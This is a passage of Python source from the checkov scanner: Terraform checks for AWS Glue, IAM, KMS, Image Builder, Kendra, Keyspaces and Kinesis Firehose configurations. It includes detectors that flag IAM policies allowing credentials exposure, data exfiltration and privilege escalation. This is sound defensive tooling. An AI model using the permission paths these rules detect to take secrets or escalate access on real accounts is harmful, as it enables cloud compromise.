'sse_aws_kms_key_id' in enc_res \ and enc_res['catalog_encryption_mode'][0] == "SSE-KMS": encrypted_at_rest = True self.evaluated_keys = [ 'data_catalog_encryption_settings/[0]/encryption_at_rest/[0]/catalog_encryption_mode', 'data_catalog_encryption_settings/[0]/encryption_at_rest/[0]/sse_aws_kms_key_id'] else: self.evaluated_keys = ['data_catalog_encryption_settings/[0]/encryption_at_rest'] if 'connection_password_encryption' in data_conf: con_res = data_conf['connection_password_encryption'][0] if 'return_connection_password_encrypted' in con_res and 'aws_kms_key_id' in con_res \ and con_res['return_connection_password_encrypted'][0] is True: connection_encrypted = True self.evaluated_keys.append('data_catalog_encryption_settings/[0]/connection_password_encryption/[0]/' 'return_connection_password_encrypted') self.evaluated_keys.append('data_catalog_encryption_settings/[0]/connection_password_encryption/[0]/' 'aws_kms_key_id') elif 'return_connection_password_encrypted' in con_res and 'aws_kms_key_id' in con_res \ and con_res['return_connection_password_encrypted'][0] is False: # handle the case when the attribute is explicitly set to false self.evaluated_keys.append('data_catalog_encryption_settings/[0]/connection_password_encryption/[0]/' 'return_connection_password_encrypted') else: self.evaluated_keys.append('data_catalog_encryption_settings/[0]/connection_password_encryption') if encrypted_at_rest and connection_encrypted: return CheckResult.PASSED return CheckResult.FAILED check = GlueDataCatalogEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/GlueSecurityConfiguration.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck class GlueSecurityConfiguration(BaseResourceCheck): def __init__(self): name = "Ensure Glue Security Configuration Encryption is enabled" id = "CKV_AWS_99" supported_resources = ['aws_glue_security_configuration'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'encryption_configuration' not in conf: return CheckResult.FAILED data_conf = conf['encryption_configuration'][0] cloudwatch_encrypted = False job_bookmarks_encrypted = False s3_encrypted = False if 'cloudwatch_encryption' in data_conf: enc_res = data_conf['cloudwatch_encryption'][0] if 'cloudwatch_encryption_mode' in enc_res and 'kms_key_arn' in enc_res \ and enc_res['cloudwatch_encryption_mode'][0] == "SSE-KMS": cloudwatch_encrypted = True self.evaluated_keys = ['encryption_configuration/[0]/cloudwatch_encryption/[0]/kms_key_arn', 'encryption_configuration/[0]/cloudwatch_encryption/[0]/' 'cloudwatch_encryption_mode'] else: self.evaluated_keys = ['encryption_configuration/[0]/cloudwatch_encryption'] if 'job_bookmarks_encryption' in data_conf: enc_res = data_conf['job_bookmarks_encryption'][0] if 'job_bookmarks_encryption_mode' in enc_res and 'kms_key_arn' in enc_res \ and enc_res['job_bookmarks_encryption_mode'][0] == "CSE-KMS": job_bookmarks_encrypted = True self.evaluated_keys.append( 'encryption_configuration/[0]/job_bookmarks_encryption/[0]/job_bookmarks_encryption_mode') self.evaluated_keys.append('encryption_configuration/[0]/job_bookmarks_encryption/[0]/kms_key_arn') else: self.evaluated_keys.append('encryption_configuration/[0]/job_bookmarks_encryption') if 's3_encryption' in data_conf: enc_res = data_conf['s3_encryption'][0] if 's3_encryption_mode' in enc_res and enc_res['s3_encryption_mode'][0] != "DISABLED": s3_encrypted = True self.evaluated_keys.append('encryption_configuration/[0]/s3_encryption/[0]/s3_encryption_mode') else: self.evaluated_keys.append('encryption_configuration/[0]/s3_encryption') if cloudwatch_encrypted and job_bookmarks_encrypted and s3_encrypted: return CheckResult.PASSED return CheckResult.FAILED check = GlueSecurityConfiguration() ================================================ FILE: checkov/terraform/checks/resource/aws/GlueSecurityConfigurationEnabled.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class GlueSecurityConfigurationEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Glue component has a security configuration associated" id = "CKV_AWS_195" supported_resources = ("aws_glue_crawler", "aws_glue_dev_endpoint", "aws_glue_job") categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "security_configuration" def get_expected_value(self) -> Any: return ANY_VALUE check = GlueSecurityConfigurationEnabled() ================================================ FILE: checkov/terraform/checks/resource/aws/GuarddutyDetectorEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckResult, CheckCategories class GuarddutyDetectorEnabled(BaseResourceValueCheck): def __init__(self): name = "Ensure that GuardDuty detector is enabled" id = "CKV_AWS_238" supported_resources = ['aws_guardduty_detector'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self): return 'enable' check = GuarddutyDetectorEnabled() ================================================ FILE: checkov/terraform/checks/resource/aws/IAMAdminPolicyDocument.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_list, extract_policy_dict from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class IAMAdminPolicyDocument(BaseResourceCheck): def __init__(self) -> None: name = 'Ensure IAM policies that allow full "*-*" administrative privileges are not created' id = "CKV_AWS_62" supported_resources = ( "aws_iam_role_policy", "aws_iam_user_policy", "aws_iam_group_policy", "aws_iam_policy", "aws_ssoadmin_permission_set_inline_policy", ) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if "policy" in conf.keys(): policy_str = "policy" elif "inline_policy" in conf.keys(): policy_str = "inline_policy" else: return CheckResult.PASSED try: policy_block = extract_policy_dict(conf[policy_str][0]) if policy_block and "Statement" in policy_block.keys(): for statement in force_list(policy_block["Statement"]): if "Action" in statement: effect = statement.get("Effect", "Allow") action = force_list(statement.get("Action", [""])) resource = force_list(statement.get("Resource", [""])) if effect == "Allow" and "*" in action and "*" in resource: return CheckResult.FAILED except Exception: # nosec pass return CheckResult.PASSED def get_evaluated_keys(self) -> list[str]: return ["policy", "inline_policy"] check = IAMAdminPolicyDocument() ================================================ FILE: checkov/terraform/checks/resource/aws/IAMCredentialsExposure.py ================================================ from __future__ import annotations from typing import List, Union, Dict, Any, TYPE_CHECKING from checkov.terraform.checks.resource.base_cloudsplaining_resource_iam_check import BaseTerraformCloudsplainingResourceIAMCheck if TYPE_CHECKING: from cloudsplaining.scan.policy_document import PolicyDocument class CloudSplainingCredentialsExposure(BaseTerraformCloudsplainingResourceIAMCheck): excluded_actions = {"ecr:GetAuthorizationToken"} # noqa: CCE003 # a static attribute def __init__(self) -> None: name = "Ensure IAM policies does not allow credentials exposure" id = "CKV_AWS_287" super().__init__(name=name, id=id) def cloudsplaining_analysis(self, policy: PolicyDocument) -> Union[List[str], List[Dict[str, Any]]]: return [x for x in policy.credentials_exposure if x not in CloudSplainingCredentialsExposure.excluded_actions] check = CloudSplainingCredentialsExposure() ================================================ FILE: checkov/terraform/checks/resource/aws/IAMDataExfiltration.py ================================================ from __future__ import annotations from typing import List, TYPE_CHECKING from checkov.terraform.checks.resource.base_cloudsplaining_resource_iam_check import BaseTerraformCloudsplainingResourceIAMCheck if TYPE_CHECKING: from cloudsplaining.scan.policy_document import PolicyDocument class IAMDataExfiltration(BaseTerraformCloudsplainingResourceIAMCheck): def __init__(self) -> None: name = "Ensure IAM policies does not allow data exfiltration" id = "CKV_AWS_288" super().__init__(name=name, id=id) def cloudsplaining_analysis(self, policy: PolicyDocument) -> List[str]: return policy.allows_data_exfiltration_actions check = IAMDataExfiltration() ================================================ FILE: checkov/terraform/checks/resource/aws/IAMManagedAdminPolicy.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck ADMIN_POLICY_NAME = "AdministratorAccess" ADMIN_POLICY_ARN = f"arn:aws:iam::aws:policy/{ADMIN_POLICY_NAME}" class IAMManagedAdminPolicy(BaseResourceCheck): def __init__(self) -> None: # This is the full description of your check description = "Disallow IAM roles, users, and groups from using the AWS AdministratorAccess policy" # This is the Unique ID for your check id = "CKV_AWS_274" # These are the terraform objects supported by this check (ex: aws_iam_policy_document) supported_resources = ( "aws_iam_role", "aws_iam_policy_attachment", "aws_iam_role_policy_attachment", "aws_iam_user_policy_attachment", "aws_iam_group_policy_attachment", "aws_ssoadmin_managed_policy_attachment", ) # Valid CheckCategories are defined in checkov/common/models/enums.py categories = (CheckCategories.IAM,) super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: if self.entity_type == "aws_iam_role": if "managed_policy_arns" in conf.keys(): if ADMIN_POLICY_ARN in conf["managed_policy_arns"][0]: self.evaluated_keys = ["managed_policy_arns"] return CheckResult.FAILED elif self.entity_type in ( "aws_iam_policy_attachment", "aws_iam_role_policy_attachment", "aws_iam_user_policy_attachment", "aws_iam_group_policy_attachment", ): policy_arn = conf.get("policy_arn") if policy_arn and isinstance(policy_arn, list) and policy_arn[0] == ADMIN_POLICY_ARN: self.evaluated_keys = ["policy_arn"] return CheckResult.FAILED elif self.entity_type in ( "aws_ssoadmin_managed_policy_attachment" ): managed_policy_arn = conf.get("managed_policy_arn") if managed_policy_arn and isinstance(managed_policy_arn, list) and managed_policy_arn[0] == ADMIN_POLICY_ARN: self.evaluated_keys = ["managed_policy_arn"] return CheckResult.FAILED return CheckResult.PASSED check = IAMManagedAdminPolicy() ================================================ FILE: checkov/terraform/checks/resource/aws/IAMPermissionsManagement.py ================================================ from __future__ import annotations from typing import List, Dict, Any, Union, TYPE_CHECKING from checkov.terraform.checks.resource.base_cloudsplaining_resource_iam_check import BaseTerraformCloudsplainingResourceIAMCheck if TYPE_CHECKING: from cloudsplaining.scan.policy_document import PolicyDocument class IAMPermissionsManagement(BaseTerraformCloudsplainingResourceIAMCheck): def __init__(self) -> None: name = "Ensure IAM policies does not allow permissions management / resource exposure without constraints" id = "CKV_AWS_289" super().__init__(name=name, id=id) def cloudsplaining_analysis(self, policy: PolicyDocument) -> Union[List[str], List[Dict[str, Any]]]: return policy.permissions_management_without_constraints check = IAMPermissionsManagement() ================================================ FILE: checkov/terraform/checks/resource/aws/IAMPolicyAttachedToGroupOrRoles.py ================================================ from typing import List, Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class IAMPolicyAttachedToGroupOrRoles(BaseResourceNegativeValueCheck): def __init__(self) -> None: name = "Ensure IAM policies are attached only to groups or roles (Reducing access management complexity may " \ "in-turn reduce opportunity for a principal to inadvertently receive or retain excessive privileges.)" id = "CKV_AWS_40" supported_resources = ('aws_iam_user_policy_attachment', 'aws_iam_user_policy', 'aws_iam_policy_attachment') categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: if self.entity_type == "aws_iam_policy_attachment": return "users" elif self.entity_type in ("aws_iam_user_policy", "aws_iam_user_policy_attachment"): return "user" return "" def get_forbidden_values(self) -> List[Any]: return [ANY_VALUE] check = IAMPolicyAttachedToGroupOrRoles() ================================================ FILE: checkov/terraform/checks/resource/aws/IAMPrivilegeEscalation.py ================================================ from __future__ import annotations from typing import List, Dict, Any, Union, TYPE_CHECKING from checkov.terraform.checks.resource.base_cloudsplaining_resource_iam_check import \ BaseTerraformCloudsplainingResourceIAMCheck if TYPE_CHECKING: from cloudsplaining.scan.policy_document import PolicyDocument class ResourceCloudSplainingPrivilegeEscalation(BaseTerraformCloudsplainingResourceIAMCheck): def __init__(self) -> None: name = "Ensure IAM policies does not allow privilege escalation" id = "CKV_AWS_286" super().__init__(name=name, id=id) def cloudsplaining_analysis(self, policy: PolicyDocument) -> Union[List[str], List[Dict[str, Any]]]: escalations = policy.allows_privilege_escalation flattened_escalations: list[str] = [] if escalations: for escalation in escalations: if isinstance(escalation, dict): flattened_escalations.extend(escalation.get('actions')) else: flattened_escalations.append(escalation) return flattened_escalations check = ResourceCloudSplainingPrivilegeEscalation() ================================================ FILE: checkov/terraform/checks/resource/aws/IAMRoleAllowAssumeFromAccount.py ================================================ from __future__ import annotations import re from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import extract_policy_dict from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import Any ACCOUNT_ACCESS = re.compile(r"\d{12}|arn:aws:iam::\d{12}:root") class IAMRoleAllowAssumeFromAccount(BaseResourceCheck): def __init__(self) -> None: name = "Ensure AWS IAM policy does not allow assume role permission across all services" id = "CKV_AWS_61" supported_resources = ("aws_iam_role",) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: try: assume_role_block = extract_policy_dict(conf["assume_role_policy"][0]) if assume_role_block and "Statement" in assume_role_block: for statement in assume_role_block["Statement"]: if statement.get("Effect") == "Deny": continue if "Principal" in statement and "AWS" in statement["Principal"]: # Can be a string or an array of strings aws_principals = statement["Principal"]["AWS"] if isinstance(aws_principals, str) and re.match(ACCOUNT_ACCESS, aws_principals): return CheckResult.FAILED elif isinstance(aws_principals, list): for aws_principal in aws_principals: if isinstance(aws_principal, str) and re.match(ACCOUNT_ACCESS, aws_principal): return CheckResult.FAILED except Exception: # nosec return CheckResult.UNKNOWN return CheckResult.PASSED def get_evaluated_keys(self) -> list[str]: return ["assume_role_policy"] check = IAMRoleAllowAssumeFromAccount() ================================================ FILE: checkov/terraform/checks/resource/aws/IAMRoleAllowsPublicAssume.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import extract_policy_dict from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List class IAMRoleAllowsPublicAssume(BaseResourceCheck): def __init__(self): name = "Ensure IAM role allows only specific services or principals to assume it" id = "CKV_AWS_60" supported_resources = ['aws_iam_role'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if not conf.get('assume_role_policy'): return CheckResult.PASSED try: assume_role_block = extract_policy_dict(conf['assume_role_policy'][0]) if assume_role_block and 'Statement' in assume_role_block.keys(): for statement in assume_role_block['Statement']: if 'Effect' in statement and statement['Effect'] == 'Deny': continue if 'AWS' in statement['Principal']: # Can be a string or an array of strings aws = statement['Principal']['AWS'] if (isinstance(aws, str) and aws == '*') or (isinstance(aws, list) and '*' in aws): return CheckResult.FAILED except Exception: # nosec pass return CheckResult.PASSED def get_evaluated_keys(self) -> List[str]: return ['assume_role_policy'] check = IAMRoleAllowsPublicAssume() ================================================ FILE: checkov/terraform/checks/resource/aws/IAMStarActionPolicyDocument.py ================================================ from __future__ import annotations from checkov.common.models.enums import CheckResult, CheckCategories from checkov.common.util.type_forcers import force_list, extract_policy_dict from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import Any class IAMStarActionPolicyDocument(BaseResourceCheck): def __init__(self) -> None: name = 'Ensure no IAM policies documents allow "*" as a statement\'s actions' id = "CKV_AWS_63" supported_resources = ( "aws_iam_role_policy", "aws_iam_user_policy", "aws_iam_group_policy", "aws_iam_policy", "aws_ssoadmin_permission_set_inline_policy", ) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: try: policy_block = None if "policy" in conf.keys(): policy_block = extract_policy_dict(conf["policy"][0]) elif "inline_policy" in conf.keys(): policy_block = extract_policy_dict(conf["inline_policy"][0]) if policy_block and "Statement" in policy_block.keys(): for statement in force_list(policy_block["Statement"]): if "Action" in statement: actions = force_list(statement["Action"]) if ( isinstance(actions[0], str) and statement.get("Effect", "Allow") == "Allow" and "*" in actions ): # scanning a HCL file return CheckResult.FAILED elif ( isinstance(actions[0], list) and statement.get("Effect", ["Allow"]) == ["Allow"] and "*" in actions[0] ): # scanning a TF plan file return CheckResult.FAILED except Exception: # nosec pass return CheckResult.PASSED def get_evaluated_keys(self) -> list[str]: return ["policy", "inline_policy"] check = IAMStarActionPolicyDocument() ================================================ FILE: checkov/terraform/checks/resource/aws/IAMStarResourcePolicyDocument.py ================================================ from __future__ import annotations from typing import TYPE_CHECKING, Any from checkov.terraform.checks.resource.base_cloudsplaining_resource_iam_check import ( BaseTerraformCloudsplainingResourceIAMCheck, ) if TYPE_CHECKING: from cloudsplaining.scan.policy_document import PolicyDocument class IAMStarResourcePolicyDocument(BaseTerraformCloudsplainingResourceIAMCheck): def __init__(self): name = 'Ensure no IAM policies documents allow "*" as a statement\'s resource for restrictable actions' id = "CKV_AWS_355" super().__init__(name=name, id=id) def cloudsplaining_analysis(self, policy: PolicyDocument) -> list[str] | list[dict[str, Any]]: return policy.all_allowed_unrestricted_actions check = IAMStarResourcePolicyDocument() ================================================ FILE: checkov/terraform/checks/resource/aws/IAMUserNotUsedForAccess.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class IAMUserNotUsedForAccess(BaseResourceCheck): def __init__(self) -> None: name = "Ensure access is controlled through SSO and not AWS IAM defined users" id = "CKV_AWS_273" supported_resources = ('aws_iam_user',) categories = (CheckCategories.IAM,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: return CheckResult.FAILED check = IAMUserNotUsedForAccess() ================================================ FILE: checkov/terraform/checks/resource/aws/IAMUserRootAccessKeys.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck class IAMUserRootAccessKeys(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure IAM root user does not have Access keys" id = "CKV_AWS_348" supported_resources = ['aws_iam_access_key'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "user" def get_forbidden_values(self): return ["root"] check = IAMUserRootAccessKeys() ================================================ FILE: checkov/terraform/checks/resource/aws/IAMWriteAccess.py ================================================ from checkov.terraform.checks.resource.base_cloudsplaining_resource_iam_check import BaseTerraformCloudsplainingResourceIAMCheck class cloudsplainingWriteAccess(BaseTerraformCloudsplainingResourceIAMCheck): def __init__(self): name = "Ensure IAM policies does not allow write access without constraints" id = "CKV_AWS_290" super().__init__(name=name, id=id) def cloudsplaining_analysis(self, policy): return policy.write_actions_without_constraints check = cloudsplainingWriteAccess() ================================================ FILE: checkov/terraform/checks/resource/aws/IMDSv1Disabled.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class IMDSv1Disabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Instance Metadata Service Version 1 is not enabled" id = "CKV_AWS_79" categories = (CheckCategories.GENERAL_SECURITY,) supported_resources = ("aws_instance", "aws_launch_template", "aws_launch_configuration") super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: """ Looks for if the metadata service is disabled or requires session tokens: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/instance#metadata-options or https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/launch_template#metadata-options :param conf: dict of supported resource configuration :return: """ metadata_options = conf.get("metadata_options") if not metadata_options or not isinstance(metadata_options[0], dict): return CheckResult.FAILED if metadata_options[0].get("http_endpoint") == ["disabled"]: return CheckResult.PASSED return super().scan_resource_conf(conf) def get_inspected_key(self) -> str: return "metadata_options/[0]/http_tokens" def get_expected_value(self) -> Any: return "required" check = IMDSv1Disabled() ================================================ FILE: checkov/terraform/checks/resource/aws/ImagebuilderComponentEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class ImagebuilderComponentEncryptedWithCMK(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Image Builder component is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_180" supported_resources = ['aws_imagebuilder_component'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "kms_key_id" def get_expected_value(self) -> str: return ANY_VALUE check = ImagebuilderComponentEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/ImagebuilderDistributionConfigurationEncryptedWithCMK.py ================================================ from checkov.common.models.consts import ANY_VALUE from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class ImagebuilderDistributionConfigurationEncryptedWithCMK(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Image Builder Distribution Configuration encrypts AMI's " \ "using KMS - a customer managed Key (CMK)" id = "CKV_AWS_199" supported_resources = ['aws_imagebuilder_distribution_configuration'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "distribution/[0]/ami_distribution_configuration/[0]/kms_key_id" def get_expected_value(self) -> str: return ANY_VALUE check = ImagebuilderDistributionConfigurationEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/ImagebuilderImageRecipeEBSEncrypted.py ================================================ from typing import Dict, List, Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class ImagebuilderImageRecipeEBSEncrypted(BaseResourceCheck): def __init__(self) -> None: name = "Ensure that Image Recipe EBS Disk are encrypted with CMK" id = "CKV_AWS_200" supported_resources = ("aws_imagebuilder_image_recipe",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: mappings = conf.get("block_device_mapping") if mappings and isinstance(mappings, list): self.evaluated_keys = ["block_device_mapping"] for mapping in mappings: if mapping.get("ebs"): self.evaluated_keys.append("block_device_mapping/[0]/ebs") ebs = mapping["ebs"][0] if not ebs.get("encrypted"): return CheckResult.FAILED if not ebs.get("kms_key_id"): return CheckResult.FAILED # pass through return CheckResult.PASSED check = ImagebuilderImageRecipeEBSEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/KMSKeyIsEnabled.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class KMSKeyIsEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure KMS key is enabled" id = "CKV_AWS_227" supported_resources = ('aws_kms_key',) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return "is_enabled" check = KMSKeyIsEnabled() ================================================ FILE: checkov/terraform/checks/resource/aws/KMSKeyWildcardPrincipal.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.util.type_forcers import force_list class KMSKeyWildcardPrincipal(BaseResourceCheck): def __init__(self): name = "Ensure KMS key policy does not contain wildcard (*) principal" id = "CKV_AWS_33" supported_resources = ['aws_kms_key'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): if 'policy' not in conf: return CheckResult.PASSED self.evaluated_keys = ['policy'] try: policy_block = conf['policy'][0] if 'Statement' in policy_block: self.evaluated_keys = ['policy/[0]/Statement'] for idx, statement in enumerate(force_list(policy_block['Statement'])): if 'Principal' in statement: principal = statement['Principal'] if 'Effect' in statement and statement['Effect'] == 'Deny': continue if 'Condition' in statement: continue if 'AWS' in principal: aws = principal['AWS'] if (isinstance(aws, str) and aws == '*') or (isinstance(aws, list) and '*' in aws): idx_evaluated_key = f'[{idx}]/' if isinstance(policy_block['Statement'], list) else '' self.evaluated_keys = [f'policy/[0]/Statement/{idx_evaluated_key}Principal/AWS'] return CheckResult.FAILED if (isinstance(principal, str) and principal == '*') or (isinstance(principal, list) and '*' in principal): idx_evaluated_key = f'[{idx}]/' if isinstance(policy_block['Statement'], list) else '' self.evaluated_keys = [f'policy/[0]/Statement/{idx_evaluated_key}Principal'] return CheckResult.FAILED except Exception: # nosec pass return CheckResult.PASSED check = KMSKeyWildcardPrincipal() ================================================ FILE: checkov/terraform/checks/resource/aws/KMSRotation.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class KMSRotation(BaseResourceValueCheck): def __init__(self): name = "Ensure rotation for customer created CMKs is enabled" id = "CKV_AWS_7" supported_resources = ['aws_kms_key'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "enable_key_rotation" def scan_resource_conf(self, conf): # Only symmetric keys support auto rotation. The attribute is optional and defaults to symmetric. spec = conf.get('customer_master_key_spec') if not spec or 'SYMMETRIC_DEFAULT' in spec or 'HMAC' in spec: return super().scan_resource_conf(conf) else: return CheckResult.UNKNOWN check = KMSRotation() ================================================ FILE: checkov/terraform/checks/resource/aws/KendraIndexSSEUsesCMK.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class KendraIndexSSEUsesCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure Kendra index Server side encryption uses CMK" id = "CKV_AWS_262" supported_resources = ['aws_kendra_index'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'server_side_encryption_configuration/[0]/kms_key_id' def get_expected_value(self): return ANY_VALUE check = KendraIndexSSEUsesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/KeyspacesTableUsesCMK.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class KeyspacesTableUsesCMK(BaseResourceCheck): """ Valid values for encryption_specification type: AWS_OWNED_KMS_KEY (default), CUSTOMER_MANAGED_KMS_KEY (requires kms_key_identifier:ARN) """ def __init__(self): name = "Ensure Keyspaces Table uses CMK" id = "CKV_AWS_265" supported_resources = ['aws_keyspaces_table'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if conf.get("encryption_specification") and isinstance(conf.get("encryption_specification"), list): encrypt = conf.get("encryption_specification")[0] if encrypt.get("kms_key_identifier") and isinstance(encrypt.get("kms_key_identifier"), list): if encrypt.get("type") == ["CUSTOMER_MANAGED_KMS_KEY"]: return CheckResult.PASSED self.evaluated_keys = ["encryption_specification/[0]/type"] self.evaluated_keys = ["encryption_specification/[0]/kms_key_identifier"] self.evaluated_keys = ["encryption_specification"] return CheckResult.FAILED check = KeyspacesTableUsesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/KinesisFirehoseDeliveryStreamSSE.py ================================================ from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class KinesisFirehoseDeliveryStreamSSE(BaseResourceCheck): def __init__(self) -> None: """ Server-side encryption should not be enabled when a kinesis stream is configured as the source of the firehose delivery stream. """ name = "Ensure Kinesis Firehose delivery stream is encrypted" id = "CKV_AWS_240" supported_resources = ["aws_kinesis_firehose_delivery_stream"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf) -> CheckResult: if conf.get("kinesis_source_configuration"): return CheckResult.UNKNOWN if conf.get("server_side_encryption"): sse = conf.get("server_side_encryption")[0] if sse.get("enabled") == [True]: return CheckResult.PASSED self.evaluated_keys = ["server_side_encryption/[0]/enabled"] return CheckResult.FAILED check = KinesisFirehoseDeliveryStreamSSE() ================================================ FILE: checkov/terraform/checks/resource/aws/KinesisFirehoseDeliveryStreamUsesCMK.py ================================================ from typing import Dict, List, Any from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from checkov.common.models.enums import CheckCategories, CheckResult class KinesisFirehoseDeliveryStreamUsesCMK(BaseResourceCheck): def __init__(self): name = "Ensure that Kinesis Firehose Delivery Streams are encrypted with CMK" id = "CKV_AWS_241" supported_resources = ["aws_kinesis_firehose_delivery_stream"] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: if conf.get("kinesis_source_configuration"): return CheckResult.UNKNOWN if conf.get('server_side_encryption'): sse = conf.get('server_side_encryption')[0] if sse.get('enabled') != [True]: self.evaluated_keys = ['server_side_encryption/[0]/enabled'] return CheckResult.FAILED if sse.get('key_type') != ["CUSTOMER_MANAGED_CMK"]: self.evaluated_keys = ['server_side_encryption/[0]/key_type'] return CheckResult.FAILED if not sse.get('key_arn'): self.evaluated_keys = ['server_side_encryption/[0]/'] return CheckResult.FAILED if not sse.get('key_arn')[0]: self.evaluated_keys = ['server_side_encryption/[0]/key_arn'] return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = KinesisFirehoseDeliveryStreamUsesCMK() ================================================ FILE: 